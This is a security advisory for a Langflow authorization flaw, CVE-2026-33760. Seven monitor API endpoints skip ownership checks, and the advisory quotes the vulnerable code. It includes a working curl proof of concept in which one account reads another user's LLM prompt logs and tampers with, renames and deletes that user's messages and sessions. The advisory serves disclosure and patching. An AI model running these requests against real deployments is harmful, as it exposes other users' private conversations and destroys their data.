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Langflow: IDOR/BOLA in Monitor API — Missing Ownership Enforcement on 7 Endpoints

High severity GitHub Reviewed Published Jun 11, 2026 in langflow-ai/langflow • Updated Jun 16, 2026

Package

pip langflow (pip)

Affected versions

< 1.9.0

Patched versions

1.9.0

Description

Summary

Langflow's /api/v1/monitor router exposes 7 endpoints that perform read, write, and delete operations on user-owned resources — messages, sessions, build artifacts, and LLM transaction logs — without verifying that the authenticated requester owns the targeted resource. Any authenticated user can read, modify, rename, or permanently delete another user's data by supplying the target's resource ID or flow_id. This is a classic IDOR/BOLA vulnerability. Notably, the same source file (monitor.py) contains one correctly-implemented endpoint that uses an ownership check, demonstrating the correct pattern was known but inconsistently applied.

Details

Source file: src/backend/base/langflow/api/v1/monitor.py

The correct pattern (used only in GET /monitor/messages, lines 77–80):

stmt = select(MessageTable)
stmt = stmt.join(Flow, MessageTable.flow_id == Flow.id)
stmt = stmt.where(Flow.user_id == current_user.id)  # ownership enforced

All 7 vulnerable endpoints are missing this guard:

1. GET /api/v1/monitor/builds (lines 27–33) — reads build data for any flow_id:

@router.get("/builds", dependencies=[Depends(get_current_active_user)])
async def get_vertex_builds(flow_id: Annotated[UUID, Query()], session: DbSession):
    vertex_builds = await get_vertex_builds_by_flow_id(session, flow_id)  # no ownership check
    return VertexBuildMapModel.from_list_of_dicts(vertex_builds)

2. DELETE /api/v1/monitor/messages (lines 102–107) — deletes any message by UUID:

@router.delete("/messages", status_code=204, dependencies=[Depends(get_current_active_user)])
async def delete_messages(message_ids: list[UUID], session: DbSession):
    await session.exec(delete(MessageTable).where(MessageTable.id.in_(message_ids)))
    # message_ids accepted verbatim, no ownership check

3. PUT /api/v1/monitor/messages/{message_id} (lines 110–134) — overwrites any message:

db_message = await session.get(MessageTable, message_id)
# no check: db_message.flow_id → Flow.user_id == current_user.id
db_message.sqlmodel_update(message_dict)

4. PATCH /api/v1/monitor/messages/session/{old_session_id} (lines 137–171) — renames any session:

stmt = select(MessageTable).where(MessageTable.session_id == old_session_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

5. DELETE /api/v1/monitor/messages/session/{session_id} (lines 174–188) — bulk-deletes any session:

await session.exec(
    delete(MessageTable).where(col(MessageTable.session_id) == session_id)
    # no ownership filter
)

6. GET /api/v1/monitor/transactions (lines 191–211) — reads LLM prompt/response logs for any flow_id:

stmt = select(TransactionTable).where(TransactionTable.flow_id == flow_id)
# no JOIN to Flow, no WHERE Flow.user_id == current_user.id

7. DELETE /api/v1/monitor/builds — deletes build records for any flow_id:
Shares the same root cause as endpoint #1 (GET /builds): flow_id is accepted as a bare query parameter and passed to the deletion path without a WHERE Flow.user_id == current_user.id ownership check, so any authenticated user can destroy another user's build artifacts.

PoC

Tested on Langflow v1.7.3 (langflowai/langflow:1.7.3) with two accounts: langflow (victim) and attacker_test (attacker).

# Setup: authenticate both users
TOKEN=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=langflow&password=langflow" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

ATTKR=$(curl -s -X POST http://localhost:7860/api/v1/login \
  -d "username=attacker_test&password=Attacker123" \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['access_token'])")

# Victim creates a flow (attacker only needs to know the flow_id — obtainable via brute force or enumeration)
FLOW_ID=$(curl -s -X POST http://localhost:7860/api/v1/flows/ \
  -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" \
  -d '{"name":"victim-flow","data":{"nodes":[],"edges":[]}}' \
  | python3 -c "import sys,json; print(json.load(sys.stdin)['id'])")

# PoC 1: Read victim's LLM transaction logs (prompts + model responses)
curl -s "http://localhost:7860/api/v1/monitor/transactions?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 — full transaction log returned including user prompts and model responses

# PoC 2: Read victim's build data
curl -s "http://localhost:7860/api/v1/monitor/builds?flow_id=$FLOW_ID" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200

# PoC 3: Delete victim's message (MESSAGE_ID obtained from transaction log above)
curl -s -X DELETE "http://localhost:7860/api/v1/monitor/messages" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '["<victim_message_id>"]'
# HTTP 204 — message deleted

# PoC 4: Tamper with victim's message content
curl -s -X PUT "http://localhost:7860/api/v1/monitor/messages/<victim_message_id>" \
  -H "Authorization: Bearer $ATTKR" -H "Content-Type: application/json" \
  -d '{"text":"TAMPERED BY ATTACKER"}'
# HTTP 200 — message overwritten, "edit":true set

# PoC 5: Rename victim's session
curl -s -X PATCH \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-1?new_session_id=attacker-controlled" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 200 — session renamed

# PoC 6: Bulk-delete victim's entire session
curl -s -X DELETE \
  "http://localhost:7860/api/v1/monitor/messages/session/victim-session-2" \
  -H "Authorization: Bearer $ATTKR"
# HTTP 204 — entire session deleted

All 6 demonstrated attack vectors confirmed (the 7th, DELETE /builds, shares the GET /builds root cause and was not separately scripted). After attacker operations: victim's message text read "TAMPERED BY ATTACKER", session renamed to attacker-controlled name, second session completely deleted.

Impact

This vulnerability affects any Langflow deployment with multiple users (team instances, SaaS deployments, enterprise self-hosted).

Confidentiality: GET /transactions exposes the full LLM conversation history — user-submitted prompts and model responses — for any flow by flow_id. In healthcare, legal, financial, or HR deployments this directly exposes sensitive and potentially regulated data (HIPAA, GDPR). GET /builds exposes internal workflow execution state.

Integrity: PUT /messages/{id} allows rewriting any stored message, corrupting chat history, audit trails, and RAG-indexed memory. PATCH /messages/session/{id} allows renaming sessions, breaking session continuity and potentially injecting victim context into attacker-controlled namespaces.

Availability: DELETE /messages and DELETE /messages/session/{id} enable permanent, irreversible destruction of another user's conversation history and LLM logs. No recovery mechanism exists once data is deleted.

Any registered user account (including self-registered accounts if registration is open) has unrestricted cross-user access to all 6 operations against any other user's data.

References

@AntonioABLima AntonioABLima published to langflow-ai/langflow Jun 11, 2026
Published to the GitHub Advisory Database Jun 16, 2026
Reviewed Jun 16, 2026
Last updated Jun 16, 2026

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(12th percentile)

Weaknesses

Authorization Bypass Through User-Controlled Key

The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data. Learn more on MITRE.

CVE ID

CVE-2026-33760

GHSA ID

GHSA-9c59-2mvc-vfr8

Source code

Credits

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